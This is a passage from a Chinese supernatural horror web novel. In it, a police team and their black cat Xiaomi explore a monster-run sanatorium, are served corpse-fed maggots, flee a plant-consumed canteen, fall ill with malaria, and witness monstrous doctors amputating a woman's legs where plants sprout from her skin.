苏乐:“快点。” 但一扭头,那三兄妹居然开始吵架了。 小妹:“都怪你们,非要我回国,不然我能遇到这种事?你们还帮着外人,孤立我!” “什么叫非要你回国,本来没打算叫你来,你也不出钱,不就是搏个孝顺的好名声,才一起来看的吗?” “我出什么钱,老东西的钱给我多少?你们拿大头,还把爸妈丢养老院,真当自己是什么东西了?” “你这个泼妇!” “喵喵喵!”小咪跳到地上,冲到他们脚边,认真劝架,“喵喵喵!” “什么鬼猫!”小妹憋着一肚子火,有气没处撒,看见猫,抬脚想把它踢走。 小咪灵巧走位,蹿成黑影,从她高跟鞋下闪走,跳回苏乐的身边。 但小妹蹬着八厘米高跟鞋,一脚失去平衡,栽倒在地上,摔在旁边的草坪,摔了个屁股墩。 “不要碰到植物。”苏乐抱起小猫,冷声提醒,“你们忘了那张纸条吗?小心,不要被绿色入侵。” 二哥连忙缩回了想拉起小妹的手。 “呸!”小妹撑着草坪费力爬起来,对二哥骂:“钱成功,你的袜子还是绿的呢。” 她目光一转,注意到大哥悄悄走开好几步,更加火大,“还有你,钱向前,你头顶那么大一顶绿帽子,脑袋上都长出一片青青大草原了,要绿色入侵,第一个入侵你。” 钱向前憋红了脸,“别瞎扯。” “哼。”小妹就像个得胜的斗鸡,得意地仰起下巴,双手抱臂。 吉祥试着说服他们,让他们跟自己一起走。愚公小队几个人对视一眼,直接跟随护士队伍,抛下了这三个人。 治安局的使命是保护每一位公民的生命财产安全,吉祥会尽力去救每一个人。 但愚公小队的职责是完成任务,破开鬼域。因为鬼域的特殊性,作死的人是团队里极其不稳定的因素,很有可能会导致团灭。 他们没有搭理三兄妹,只是默默走远。 “吉祥,我们也走。”赵铮铮拉着女孩,“鬼域特殊,先保护好自己的命,别管这几个人了。” 吉祥:“可是赵队,我们不是要保护公民生命安全吗?” 赵铮铮:“……你听他们的话,都定居国外了,还能是我们的公民吗?让他们摇外国治安局来救。” “对哦。” 一见大家都走了,小妹也不再闹着要去出口,老实地跟在大家身后。 食堂门上也贴着张纸条:“浪费食物是可耻的。” “这句话,是让我们把所有的食物全部吃完吗?”万木春见纸条上没有沾染绿色,把纸条撕了下来,“和那句不要被绿色入侵是一样的字迹,应该也是他写的。” 他们刚走进食堂,就被吆喝坐下,发了一盘食物。 一盘雪白蠕动的虫子。 “呕。”小妹干呕一声,“这什么鬼东西,我绝对不吃!” “苏姐,不会有毒吧?”崔姜面露难色,看向苏乐,吃虫子这种事,实在是很挑战她的味蕾。 苏乐:“先观察一下。” “喵!” 一声猫叫让几个人低下头,崔姜面色大变,“咪咪,你怎么……” 小咪:“喵!” 它咬断一根虫子,砸吧砸吧嘴吃下去,猫试过了,虫子没有毒,很好吃,比猫粮还要好吃。 小咪低下头,脑袋埋进盘子里,埋头狂炫,吃得吧唧作响。 “我勒个去……” 人都看傻了。 万木春试着用手抓起条蛆虫,雪白虫子突然卷起身体,在他手指蠕动,恶心得他一抖,把虫子丢了回去。 “没关系,正常来说,我们的胃酸能够消化蛆虫。”苏乐捏着条小虫子,丢在嘴里,面无表情地说:“没事,吃吧,是蛋白质的味道。” 其他人鼓起勇气,准备效仿。 赵铮铮表情严肃,“等一下。” 她把盘子一抖,从密密麻麻蛆虫里,拿出颗牙齿。 “为什么会有牙?!”万木春起了身鸡皮疙瘩。 “赵队,”吉祥有样学样抖了抖盘子,把蛆虫驱赶至一边,从盘子底夹起根黑色的发丝,“应该是人的头发。” “啊——”小妹一声尖叫,把盘子掀到地上。 她比较倒霉,蛆虫们蠕动着爬开,露出盘子里的一截手指。 事实摆在眼前,这些蛆虫,是寄生在人体,用尸体喂养出来的。 一想到蛆虫从腐肉里钻出,吃尸体腐肉长大,几个人就胃泛酸水,一阵恶心。小妹钱倩倩望着那截断指,心里防线快被击溃,抱头大哭,揉乱自己的头发。 钱成功从盘子里挑出一颗浑浊的眼珠子,手一抖,弯下腰呕吐。 “从牙齿磨损程度来判断,”赵铮铮上大学的时候,学过一部分法医学,分析,“这应该是个年轻人。” “疗养中心大部分都是老年人,他们从哪弄年轻人……不会是王旦吧?那他到底是死还是活,是人还是鬼?” 王旦很有可能是唯一一个,在鬼域中住很长一段时间的年轻人。如果蛆虫是从人身上取出来的,他是最有可能的受害者。 “如果还活着,那就更可怜了。” 人还活着,却能感受到蛆虫撕咬着身体,从血肉里爬出来,那会是一种什么样的折磨? “我们待会要去后厨看一看。” 其他几个人纷纷点头。 这时,一个脑袋变异成防毒面罩、穿着厨师服装的怪物走过来。它左手拎刀,刀上还有血,闷声闷气问:“你们不喜欢吃吗?” “为什么不吃啊?” 厨师比护士更加高大,三米身高,变异的硕大脑袋走动时撞到挂灯,灯光晃动,它的影子像一座大山,沉甸甸压在人们身上。 “为什么不吃啊?”野猪一样拱起的嘴筒里,声音似乎变得冷了几度。 在这样的压迫感之下,几个人被迫把蛆虫往嘴里塞。 “喵!”小猫站了出来。 小咪仰头看着它,尾巴盘住爪爪,大声叫:“喵——” 它示意让厨师看自己盘子。 盘子被猫舔得雪白发亮,比洗了后还干净。 “喵。”小咪轻盈一跃,跳到厨师的手臂,从他手爬到肩膀,歪头蹭了蹭防毒面罩。 猫喜欢吃你做的饭。 厨师抬起手,他的大手同样带着层橡胶手套,手掌比小猫的身体还大。隔着橡胶,它轻轻揉了揉小猫的头。 “不浪费食物是好孩子。”厨师把小猫捧在掌心,让它跳回桌子上,从口袋拿出一个罐头,“这个给你。” “喵。”小咪蹭蹭它的手。 厨师迈着沉重的步伐,离开了他们桌,几个人长舒一口气。钱成功一下子把嘴里的虫子呕出来,连胃里的酸水也呕出来,生理性的眼泪在脸上流淌。 钱倩倩得意洋洋,“不吃也没什么后果嘛。谁让你这么蠢,人家说什么你就信什么。” “待会去后厨房看一看。”苏乐又捏起条虫子,面不改色地嚼碎,“既然没毒,你们最好吃一点。” 但其他几个人还是很难下口,尤其是知道蛆虫是从尸体里长出来后。 “喵。”小咪抬起爪爪,把罐头往他们面前推,“喵呜。” 人不喜欢吃虫子的话,可以吃罐头! 赵铮铮拿起罐头,咦了声,“这是军用罐头,还是午餐肉的咧。” “那我们吃罐头!”钱家三兄妹异口同声地说。 赵铮铮:“过期七十年了。” “……” 赵铮铮摇了摇罐头,里面响起金属碰撞的叮当声,她眼睛一亮,打开罐头,里面是一把钥匙。 “第一把钥匙。” 这时,响起了舒缓的音乐声。厨师们走过来,收走了餐盘。 “还剩这么多啊。”到他们这一桌的时候,怪物嘟囔一句。 人们提心吊胆,以为它会暴起,好在它也没做什么,可能是看小猫把盘子舔得干干净净拉了好感度的关系,怪物只是低低念了声,撤掉了盘子。 “它刚才说了什么?” 厨师头颅是面罩,说出的话要经过像野猪一样的嘴筒,音量不大的话,声音很闷。 小咪耳朵一抖,听见它的话,但不懂是什么意思。 厨师说:“吃得这么少,怎么走出去呢?” 苏乐复述这句话,可他们都摸不着头脑。 疗养中心有五栋楼,他们分析,每一栋楼里都藏着把钥匙。找到钥匙,才能打开门。 现在食堂的钥匙被拿到手了,但苏乐还是想去内部探索,寻找一点线索。 她让万木春和崔姜留在食堂,独自走向后厨。食堂和学校的食堂很像,分为用餐区和做饭的厨房。 苏乐把门推开一条缝隙,往里面看去。 门缝突然自己动了一下,从手指宽变成了一掌宽。 苏乐警惕地握紧腰间配枪。是里面有东西,在悄悄地拉门吗? 门缝继续变大,什么东西在她脚下踩了一脚,她迅速压低枪支,看见脚边是什么后,长舒一口气,忍不住笑:“你怎么也跟过来啦?” “喵。”小咪抬起爪爪,拨弄枪管,小脑袋凑到枪口,张开嘴咬。 苏乐连忙把枪支收好,生怕走火崩到它。 厨房很安静,厨师们忙碌的景象并没有出现,墙壁挂灯无风自动,灯影摇晃。收回的盘子随意放在桌上,几粒米粒般的蛆虫在水槽扭动。 苏乐迈步往前走,没走几步,看见躺在岛台后面,厨师的身体。 这些怪物厨师居然已经死掉了。 而蛆虫从他们的护目镜、嘴筒、裤脚爬出,纠缠在一起。 “喵?”小咪一点都不觉得虫子恶心,在猫的眼里,这些都是很美味,吃起来鸡肉味汁水丰厚的食物,它跳到厨师身上,爪爪拨弄它的嘴筒,“喵呜?” 人为什么不动了? “咪咪,过来。”苏乐朝它伸出手。 小咪凑到厨师面罩上,凝视着它的脸,在圆形的漆黑镜片下,它看见一双眼睛。 那双眼睛瞳孔涣散,里面爬出蛆虫,没两秒就迅速腐烂,变成骷髅头,黑黢黢的眼洞无神地望着天空。 “咪咪。”苏乐焦灼地看眼屋顶,挂灯晃动越发剧烈,后面响起队友们的催促,“快来。” 小咪却被镜片下的眼睛吸引。 它看见一颗嫩芽在眼洞里生长,绿色的嫩芽抵在镜片上,柔软得风一吹就低头的生命,竟然把漆黑的镜片挤出裂缝。 裂缝越来越多,交织如蛛网。 一声极其细微的“咔嚓”声中,植物把镜片撑破,从空洞的骷髅里长了出来。 小咪的身体腾空,被苏乐抱起来就往外跑。头上的天花板裂缝丛生,墙皮大片剥落,茂密的植物钻出坚硬的地面,杂草疯长,植物缠绕上其他老人和护士,被缠上的人马上倒在地上,身体养分被植物吸收,血肉枯萎,变成一具惨白的骷髅。 几分钟内,食堂迅速枯萎老化,墙体缝隙探出褐色根须,深绿色爬满了地面。 其他人在靠近门口的位置用餐,在发现不对时,早早地跑出食堂。 “苏姐,快一点!” 前面的地面被绿草填满,苏乐只好跳到桌子上,把桌子当成绿色海洋上的孤岛,从一座岛跳到另外一座岛屿。 离门口快五米,疯长的植物快触碰到她的足尖。 她咬咬牙,一跃而起,在最高的时候,眼看离门还有一段距离,她把怀里的小猫先丢了出去。 绿色枝叶快触碰到脚尖时,本来在身后的桌子,突然瞬移到她的脚下。 苏乐借力,再往前跳一次,跃出大门,在地上滚了一圈。 幸好食堂前一块都是水泥地,没有生长植物。 赵铮铮望着里面的景象,喃喃:“原来这就是绿色入侵。” 工业文明的痕迹被原始抹去,大自然肆意地张牙舞爪,轻松将一切撕烂。食堂像个巨人的身体,混凝土组成的肌肤被根须挤裂,钢筋骨架被藤蔓绞断,如雷鸣一般的轰声中,巨人轰然倒塌,变成一具被蚀空血肉的残破骨架。 小咪认真地望着那棵从废墟中长出的参天大树。在跑出食堂前,它看见了,这棵树木飞快从骷髅黑漆漆的眼洞里生长,褐色树皮粗糙,隆起的模样很像一张脸。 一张年轻人的面孔。 小咪歪歪头,本来想看得更清楚一点的,但马上就被人给抱走了。现在,食堂变成一片茂盛的森林,那棵树藏在苍郁的绿意里,并不起眼。 人们不敢再深入密林里,它也只好放弃再去里面看看的打算。 “第一把钥匙拿到手了。我们再去收集其他钥匙吧。” “收集钥匙有什么用?”钱向前忍不住问:“集齐就能出去吗?” 听到他们说拿钥匙是为了救人,钱倩倩忍不住爆发了,“最先救的不该是我们吗?现在我们也很危险好吧,你们治安局的,应该保护公民的安全!” 吉祥弱弱问:“那个……钱女士,之前你不是和我说,你以前脱离国籍,拿到绿卡了吗?” 钱倩倩跺脚,高跟鞋踩烂地上一颗山楂果,汁水在地上爆开,溅在她的脚踝上。她已经摔在草坪上了,不在乎碰触到植物,恶狠狠地说:“你们治安局是吃干饭的吗?!” “但是,我们也不知道该怎么出去呀。” “我不管,我才不要跟你们去收集什么钥匙。” “如果你觉得外面安全,就待在这里吧。找到钥匙,我们还会出来的。” 苏乐并没有一定要保护所有人的执念,低下头,捏起小咪的爪爪,替它把爪爪仔细检查一遍,没有发现草叶碎屑后,才松一口气,拍了拍自己的肩膀。 小咪纵身一跃,跳到她的肩上,歪头蹭蹭她。 “刚刚是你用能力帮了我吗?”苏乐想起突然出现在自己脚下的桌子,看向小猫的眼神变得柔软,心中对它有些抱歉。 原来猫猫也能是托付性命的可靠队友。 “对不起呀,不该怀疑猫猫的能力。” “咪!”小咪抵着她的下巴,把头蹭来蹭去,“呼噜呼噜。” 第二栋楼他们打算去旁边的娱乐中心,娱乐中心包括茶室和图书馆,是老年人们休闲的地方。 在走过去的路上,天色突然暗了下来。刚才还晴空万里,眨眼就变得乌云密布,油润的浓云在天空铺开,遮天蔽日。 云后传来沉闷的雷声,片刻,暴雨倾盆而下。 豆大的雨珠砸在人的身上,砸得生疼,苏乐第一时间把小咪抱在怀里,但雨水还是顺着她的身体,打湿小咪的毛发。 “喵呜。”小咪哼哼唧唧抱怨。 “到那栋楼。”苏乐抱猫跑向最近的一栋楼。 这栋楼是灰蓝色的,五层楼,很难从外表判断它的功能。之前护士带他们参观时,直接略过了它,因此几个人并不知道建筑功能。 只能初步判断,可能是员工的宿舍,或者是医疗楼。 本来还有人在犹豫要不要进建筑内,突然天空劈下道粗壮的闪电,劈倒一个跑得缓慢的老人。被电劈中后,他马上就扑倒在地上,肌肤碳化,身体蜷曲,变成漆黑焦炭,空气里还飘起烤肉味。 钱倩倩“啊啊啊”大叫,踩着高跟鞋,跑得丝毫不逊色于自己两个啤酒肚哥哥,很快就甩下他们,先跑进了建筑内部。 “你跑得可真快。”万木春真诚夸赞。 钱倩倩哼一声,从提包拿出纸巾,试图擦掉身上的水。 但这只是徒劳,大雨几乎在一秒钟内把大家浇了个透,衣物吸满了雨水,连鞋子里也装满水,走一步就有水从鞋里溢出来。 “好大的雨。” “潮湿闷热,暴雨倾盆,我们应该身在热带雨林里,还是雨季。” 小咪听人聊天,很认真地在舔打湿的毛,它的情况比人好很多,在下雨的时候,苏乐抱住了它,还拿包盖在它的头上。 猫很快就把自己舔得干干净净,只是粉红肉垫里长出的爪爪毛依旧是湿的,踩在地上会留下湿漉漉的爪印。 它甩了甩脑袋。 耳朵跟着头一起甩动,像一台脱水洗衣机,毛发上的水珠像雨一样飞溅,很快就把自己甩干。 小咪抬头打量其他人,却发现他们还是湿漉漉的,有几个人脸色还很难看。 “喵?” 崔姜扶住额头,靠着墙,喃喃:“苏姐,我有点晕。”钱向前和钱成功啪地一下倒在了地上。 苏乐依次摸过几个人的额头,滚热的温度让她不禁皱起眉,拿出随身携带的退烧药,正打算喂给几个人,身后响起的脚步声。 一队穿白大褂的“人”飞快走过来,“他们生病了,得赶快医治!” 医生的脑袋同样被防毒面罩替代,身高三米,力气巨大,捏着钱成功的腿,像提小鸡仔一样把他拉起来,丢到旁边的医疗车上。 一个护士推着医疗车飞快地跑进病房,重复:“快准备注射!快准备注射!” 苏乐眯了眯眼,看着从走道涌出的怪物,这些怪物统一穿着白大褂,是这里的医生?她眼前的世界也开始晃动,天花板变成了地,地板转到头顶,不断在转圈、转圈,察觉到来势汹汹的高热,她只来得及把药塞进嘴里,眼前就急遽黑了下来。 “喵呜?”小咪跑到这个人面前,用肉垫拍他的脸,像叫醒室友一样喊人起来,还没喊醒,那一个又晕倒了。 等小咪抬起头,除了它,所有人都躺在地上了。 第47章 小咪拿肉垫用力拍人的脸。 “啪啪啪!” 猫很努力地抽人的嘴巴子,多少个巴掌都扇不醒人,它蹲坐在万木春的身上,疑惑地歪着头颅。 小咪伸出爪爪, 学习跟室友看的古装剧,把肉垫贴在人裸露的手腕上。 人身上变烫了,都快比得上猫了。 变烫就会生病吗?可猫一直这个体温, 猫也没有生病。 眼看医生要把人抓到车上,小咪蹿到医生和晕倒的人之中,身体伏低,屁股扭来扭去,猛地一蹿,抱住医生的手臂,后腿使劲蹬他的手,一口咬住他的虎口。 医生用力一甩。 小咪身体飞出, 后爪蹬冰冷的瓷砖,又跳到怪物的头上, 边蹬边咬他的头。 怪物想来抓它的尾巴, 小咪灵巧地转了个身, 注意到苏乐被另外一个医生抱上了担架,又跳到担架上,伏在女人胸口。 猫的耳朵后翻,几乎贴着脑袋,凶狠哈气,变成只响尾蛇猫。 谁敢靠近, 它就给谁一爪子。 一个护士走过来,低下身体。 一张诡异的面孔占满猫的视野——橡胶皮覆盖住五官,圆形的漆黑镜片占据上半张脸, 下巴位置嘴唇凸起,是类似野猪一样的嘴筒。 它用镜片凝视着猫,嘴筒里传来模糊的声音:“他们生病了,要得到医治。” “喵?” “不治病,会死掉的。” 小咪思考一下,从苏乐的身体上让开了。 医生把几个人都放在医疗担架上,但轮到钱倩倩时,他们停止了动作。 一张张毫无情感的诡异面孔低垂,把钱倩倩围在了中心。 “她被绿色入侵了。”医生声音冰冷,仿佛宣告死刑。 护士递过来了一把一米长的锯子,锯齿尖锐,上面血迹斑斑。 小咪从他们的腿间挤进来,爪爪搭在锯齿上,把锯子往外推,“喵呜。” 猫觉得人还可以再抢救一下。 “我们在紧急救治,你看。” 小咪转过头,顺着护士指的方向看去,眼睛瞪得圆圆。 一根嫩绿的芽叶钻出皮肤,从钱倩倩的脚踝长了出来。那株绿色的嫩芽最开始很不起眼,只是脚踝位置隆起一个小包。 而医生护士们如临大敌,“快!” 嫩芽飞快地成长,不到一分钟,就长得比小咪还要高。 钱倩倩的两条腿抽动着,皮肤龟裂。 医生拿起锯子,锯齿抵在她身上长出的植物上,来回拉扯,锯齿割裂青绿表皮,滚热的鲜血飞溅,洒在医生面罩上。 “啊——” 钱倩倩猛地张开眼睛,凄惨地大叫着,仿佛植物是她身体的一部分,她疯狂挣扎,两条腿弹动,高跟鞋被踢到一旁,血点瀑布一样喷洒,瓷砖、墙壁、天花板上到处是喷溅状的血点。 护士们按住她的身体,医生沉默又迅速地拉动锯子。 那株植物终于掉在了地上,钱倩倩像案板上的鱼一样抽动,脸比雪更加苍白。 “这里还有!”护士很紧张地说。 她穿着一条丝裙,真丝被血浸透,裙下有什么东西拱动。护士把裙子往上拉了一点,在她膝盖的位置,又长出了一株植物。 在往上一点,大腿的肌肤上,生出许多小小的隆起,像血肉堆成的小坟。 每一个小包下面都有绿色在蠕动,绿芽长得很快,马上就要破开血肉,撑开人皮。 “只能截肢了。”医生声音冰凉而冷酷。 “只能截肢了。”所有的人一起重复。 这一次钱倩倩没有受太多苦,她一直昏迷着,没有恢复意识,在锯子锯断她的双腿,鲜红骨茬被血冲得往下流时,她也只是在昏迷中闷闷哼了声。 医生动作麻利,截肢后,又给她包扎止血。 小咪看不懂,它觉得这样很不好,可是如果嫩芽长出来,钱倩倩会死得更快。 医生锯掉她的腿,确实是在救她。 护士抬着担架,把几个人类抬走,小咪想了想,也跟在他们身后。 一个医生扭过头,巨大的面罩瞬间移到猫的面前。 小咪跳到它的嘴筒上,“喵?” 医生捏住猫的后脖颈,拿出一根水银温度计,插在小咪的屁股里。 突如其来的异物侵入让小咪瞬间炸毛,气得喵喵叫,挥舞爪子,大声骂骂咧咧。 医生把温度计抽出来,看眼上面的数字,对护士说:“39度。它也生病了。” 小咪歪头,“喵?” 猫生病了吗? 很快就有护士想把猫抬上担架。 小咪不用他们动,自己跳了上去,在宽阔的吊床上打了个滚。 它和几个人都被送到一间大病房,九个人并排躺着,小咪也拥有属于自己的小床。 其他人的身体都用四角的约束带固定住,但固定到小咪这里时,护士拿着比它头还大的约束带,陷入了沉默。 用约束带把小猫固定,是件不可能的事情。 小咪仰头,乖巧地看着她,配合地把爪爪伸进约束带里。为了防止病人挣扎时皮肤磨破,约束带里面缠着层柔软的毛巾,小咪趴了下来,把毛巾当成小枕头,乖乖躺好。 看它这么乖巧,护士伸出手,揉了揉它的脑袋。 “咪。” 护士转身离开,小咪在毛巾上趴了会,等他们走远,它在床上打了个滚,用头蹭铁栏杆,留下自己的气味。 小咪跳到前面的床位,肉垫拍脸。 啪啪啪。 人,快醒来! 这个叫不醒,它又跳到另外一张病床,啪啪打人的脸。 在小咪的努力下,苏乐眼皮微颤,眼珠滚动。小咪连忙加大力度,肉垫把脸打得啪啪作响,“喵呜——” 苏乐睁开眼睛,捂住额头,低低哼一声。 小咪趴坐在她的胸口,揣起爪爪,高兴地叫:“喵呜。” 苏乐感觉很不好,头晕眼花,眼前金星乱飞,她刚才好像坠入一场深绿色的梦魇里,更可怕的是,胸口像被一块巨石压着,喘不过气。 “喵。”柔软的小脑袋抵住她的下巴。 苏乐努力吸气,低头看漆黑的小猫,仿佛有火在烧的喉咙发出沙哑声音,一团燃烧的热气从鼻腔呼出,“咪咪?” “喵!” 小猫爬到她的枕头边,蹲坐着。 它一爬下去,苏乐胸口那块“石头”也跟着消失,她呼吸几口,晕眩渐渐消失,勉强坐了起来。 其他几个同伴烧得脸颊通红,高热不退。 苏乐知道,她最先醒来,很可能和之前吃的退烧药有关。但退烧药并不是特效药,只能暂时缓解症状,疾病带给她的影响还存在。 他们悄无声息就中了招,只有小猫还活蹦乱跳。猫的体温本来就比人高,对人来说是发高烧的温度,对小猫却恰恰好。 苏乐往外看一眼,护士医生忙碌地来来去去,担架上放着一个个昏迷的人。她把门锁上,走过去试着唤醒同伴。 小咪也跳到万木春枕头旁,趴在他胸口,肉垫拍他的脸。 “喵。”它跟苏乐示意,该这么叫醒人。 苏乐摸摸脸,嘟囔:“难怪昏迷的时候,感觉有东西在扇我的巴掌。” 药片从青年干燥苍白的嘴唇挤入,被塞进他的嘴里,也许感受到嘴里融化的苦涩,他皱了下眉。 苏乐继续给其他人塞药。他们身上总带着一些常见的药物,以备不时之需,现在正好派上用场。 到钱倩倩时,苏乐皱了下眉。 钱倩倩的身体盖着条雪白的被子,下半身的位置凹陷了下去。 她掀开被子,发现女人的身体被割成两截,两条腿已经消失了。但钱倩倩还活着,胸口有微弱起伏。 苏乐拿出两片药,一片退烧,一片止痛,帮女人服下,希望她在昏迷中不要太痛苦。 这时候,万木春低吟几声,醒了过来,扶着额头坐起来,“我的头快炸了。” 大家都陆陆续续醒来,症状并没有减轻多少,都是头晕眼花,身体虚软无力,汗涌如浆,把衣服和床单都打湿了。 病痛的折磨让他们行动艰难,只能躺在床上讨论。 “我们生病了?明明没有碰到植物,为什么还会这样?” “可能是下雨的关系。”平时以他们的身体素质淋雨并不会生病,但在鬼域里就不一定了。 苏乐:“得找到我们得的是什么病,也许医院里能找到对应的药物。你们注意到没,这间病房和正常的病房不太一样。” 头顶上挂着的灯光线晦暗,蚊虫嗡嗡围绕灯乱飞,橙黄的光洒满病房。并不大的房间里,十张狭窄的单人床摆成一排,显得很拥挤。在墙角落,有张小桌子,桌子上摆放老式的暖水壶。 小咪耳朵抖了抖,“喵。” 它听见窗外响起了轰鸣。 “现在哪有条件这么差的医院?会被举报的吧。” “喵。” 众人讨论时,小咪跳到窗台上。窗户是木质的,做工简陋,插销锁生了锈。它抬起爪爪,拨开插销,脑袋拱开窗户,眼前出现一片深绿。 “咪咪!”苏乐发现它的动作,扶着墙,迈动酸软双腿朝它走过来,“不要跳到外面去,很危险。” 小咪趴坐在窗台,耳朵往后撇。 苏乐走到它面前时,刚把猫抱起来,小咪就挣扎着从她怀里跳出去,重新趴在窗台。 “喵。”它耳朵上的聪明毛像天线一样指向森林。 咪咪在给她提醒? 苏乐停在窗边,外面依旧是充满各种危险的森林,大树参天,空气潮热。过了几分钟,她也听到了声音。 “赵队,麻烦你过来。” 赵铮铮跟她听了一会,点头,确认道:“是枪炮声。” 森林不远处,应该在打仗。和之前猜的一样,鬼域和战争相关,这个医院,应该也是个战时医院。但也有些不合常理的地方,比如他们的床单,依旧和养老院的款式很像。 苏乐皱起眉,“如果是战时,弄到药品会是个问题。还有,要确认我们到底是什么病。” 他们现在是高热,大汗,乏力,这种症状的病有很多。 一声尖叫打破她的思考,钱成功指着妹妹空荡荡的下半身,惨叫着:“啊啊啊!她的腿,她的腿不见了!” 惨叫引来了外头的护士。 “咚咚!”门被敲响。 敲门声越来越大,最后变成“砰砰”的撞击声,木头制成的门板承受不了这样剧烈的冲击,几次后,钉子掉在地上,锁歪歪斜斜吊在门上。 医生低下头,走进病房,环视一圈。 几个人都在床上躺好,连小猫也乖乖枕在毛巾上。 “还剩一个空床位啊。”医生闷声说一句,重新走了出去,没过多久,两个护士又抬着一个人走了进来。 那个人身上缠满绷带,惨白的脸颊浮现诡异的红,嘴唇干燥起皮,他的身体被绷带包了起来,像一个蛹。 他紧闭双目,神智不清。 小咪歪头,“喵呜?” 这个人也是身上发芽,被医生截肢了吗? “医生,”苏乐出声,问:“我们得了什么病?” 医生扭过脸,漆黑镜片冷漠望着他们,“你们被绿色感染了。” “绿色?” “还没爆发,但也很危险,”他指着钱倩倩和另外一个被截肢的病人:“如果发病,就只能像他们一样了。” 苏乐:“那有药吗?” 所有人都期待地看向了医生。医生冷哼一声:“这么多病人,药怎么可能够。你们不要乱走,别让情况变得更危险。” 医生走后,万木春问:“绿色感染是什么鬼……” 他听见搁楞的声音在耳畔响起,就好像冰块相撞,高热而难以思考的脑袋反应一会,才意识到是自己的牙齿不自觉在发颤,全身的肌肉都在抽动,“见鬼,怎么会这么冷……” 几个人紧接着发病,用被子紧紧裹住自己的身体,也难以入侵深入骨髓的冰冷,冷得在打颤。 苏乐同样感觉如坠冰窟,四肢冰凉,她勉力维持着平静,与赵铮铮对视一眼,说出答案:“疟疾。” 寒战、高热、大汗……他们的症状很符合疟疾。疟疾感染的主要途径是蚊虫叮咬,雨林里蚊虫成群,高温潮湿的环境正适合这种病的传播。也难怪小猫没有中招,它自带一身防蚊皮毛,根本不怕蚊虫叮咬。 在红竹市疟疾已经很少出现,但苏乐身上依旧带着特效药。 她站起来,依次把药片分给众人,走到小猫面前时,犹豫了一下,思考这种药会不会对猫有毒。 小咪跳到最后一个病人身边,朝她喵喵叫。 苏乐:“你是想让我把药给他?” 小咪:“喵!” 小猫蹲在枕头边,期待地看着人。 苏乐打量躺在护理床上的病人——这是个很年轻的少年,容颜未脱稚气,苍白的嘴唇旁有一圈刚长出的青绿色胡茬。 他的年纪也许比叶子静还要小,如果放在外面,是读初中还是高中? 苏乐正犹豫时,小咪身体直起来,爪爪勾着她的手,毛绒绒的嘴吻在指尖。小猫刻意让尖利的牙齿避开人的手,咬住那片白色的药,趴在少年的胸口,低头将药片塞进他的唇里。 “之前钥匙是NPC送给我们的,这个鬼域里,npc也许不是厉鬼,也许是友好的势力,森林才是危险的。咪咪,你想这样提醒我们,是吧?” “咪呜。”小咪蹭了蹭苏乐颤抖的手掌。 苏乐也在发病,忽冷忽热,头晕脑胀,双腿发软。她坐在铁架床上,扶住架子,小咪自觉蹲坐在她的膝盖,给人当暖手袋。 特效药下肚,又有暖手猫猫揣着,她的状态最好,先呼救叫来护士,询问自己情况好多了,能不能离开病房。 护士:“哪有变好?你明明更加严重了,别乱跑!” 苏乐只好躺在床上,感受热度逐渐退下,也不再流汗,明显好了很多,为什么护士会说她的情况更加糟糕? 她挠了挠脸,有点痒,好像长出一个包。 “喵呜。”小咪趴在她胸口,眼睛瞪圆,在女人面颊隆起的肌肤下,看见和钱倩倩相似的黑点蠕动。 其他人以为这是被蚊虫叮个包,但小咪知道,是有种子在人的肌肤下发芽。 钱倩倩的腿上发芽,所以被锯掉了腿,苏乐的脸上发芽的话,会被锯掉脑袋! 小咪惊得直起身体,焦急地喵喵叫。 苏乐又挠了挠脸,问:“怎么啦?” 小咪让影子从地上升起来,快速和她说了这件事,苏乐也意识到情况严峻,偏头看向同伴。 发药的时候,怕他们再被蚊子叮咬,她用布料盖住他们的脑袋,又将他们的手脚盖好。现在他们正躺在床上昏睡,情况并不清楚。 但应该会比她好一点。 “纸条!”小咪想起一件事。他们在疗养楼和食堂都看见了纸条,沉风渡在纸条上留下了提醒,那在医院里,应该也有一张提醒的纸条。 苏乐直起身体,想要下床,小咪突然跳起来,趴在她的胸口,她一口气没缓过来,被庞然大喵给又压了回去。 小咪在她身上伸个懒腰,又用脑袋蹭蹭她湿冷的下巴,“喵呜。” 影子翻译:“喵去找纸条,人乖乖躺着,人要乖哦。” 它让影子给人把被子盖好,用旁边的外套盖住她的头。 苏乐躺在床上,忍不住翘起嘴角。她这是被一只小猫照顾了? 怎么突然有种老母亲一样的欣慰? 小咪扒拉开门,从缝隙里钻出,它贴着墙根走,看见有医生护士经过,就赶紧藏在阴暗角落,乖乖等人经过再走。 对猫而言,医院尤其大,盲目寻找很难找到纸条。 而且纸条是贴在墙上的,高度和人的肩膀齐平,对人来说正好,对猫来说就有点高了。 小咪想,它不能盲目寻找一通,要学会思考。 纸条应该贴在显眼的地方,疗养楼的纸条在门口,刚进鬼域就能看见,食堂的纸条也在大门—— 那医院的纸条,应该也在入口的位置。 病房在三楼,小咪猫猫祟祟地跑下楼梯,好几次差点都被人发现。最后小咪想了个办法,它钻到一辆盖着白布的推车里,用影子的能力控制车往楼下跑,一路滑到了医院入口。 小咪从白布下探出脑袋,四下打量。 在这里,医生用锯子锯下钱倩倩的双腿,因此鲜血飚得到处都是,地上大片凝固的黑色血迹。 在血里,还有很多被切断的新芽。 至于那两条被截断的腿,小咪一开始还没认出它们。它们上面长满了植物,藤萝、绿藓、草木,但或许是腿提供的营养有限,最高的小树也只长到了一米左右,枯叶散落一地,看起来已经死了。 小咪看着血泊里密密麻麻的黑点,觉得血液危险,想了想,继续坐在推车上,滑着车子到处看。 它的目光停在了门口墙壁上。 那里贴着张纸条,可是纸被血浸透,好多字看不清楚了。 只能看出几个字:“药,在,天,上。” “喵?” 小咪歪头,药在天上喵? 它想把字条叼回去,又觉得太危险,坐着推车滑开,到楼梯的时候,猫跳下车,猫猫祟祟地跑回病房。 在回去的路上,它观察了医院里的医生和护士。 每个人都很忙,但猫不知道他们在忙些什么。 小咪回到病房,咬掉苏乐脸上的外套,用爪爪拍了拍她没有长包的另外一边脸颊,担心地叫:“喵呜?” 苏乐睁开眼,朝她微笑,“我没有事。” “药在天上?”听见小咪带回的线索,她陷入沉思,“什么叫药在天上?” 这时候,其他人也陆陆续续醒过来。 “苏姐,我好了哎!”万木春恢复活力,正准备坐起来,突然觉得自己手背有点痒,他挠了挠手背,“被蚊子咬了口?苏姐,你的脸上也被蚊子咬啦。” 苏乐表情凝重,微微皱起眉,没有说话。 “啊啊啊!” “闭嘴!” 赵铮铮一声怒喝,成功让钱成功闭上嘴唇。钱成功脸色苍白如雪,颤抖的手指向旁边的小妹。 钱倩倩紧闭着双眼,突然,她的眼皮跳了一下。 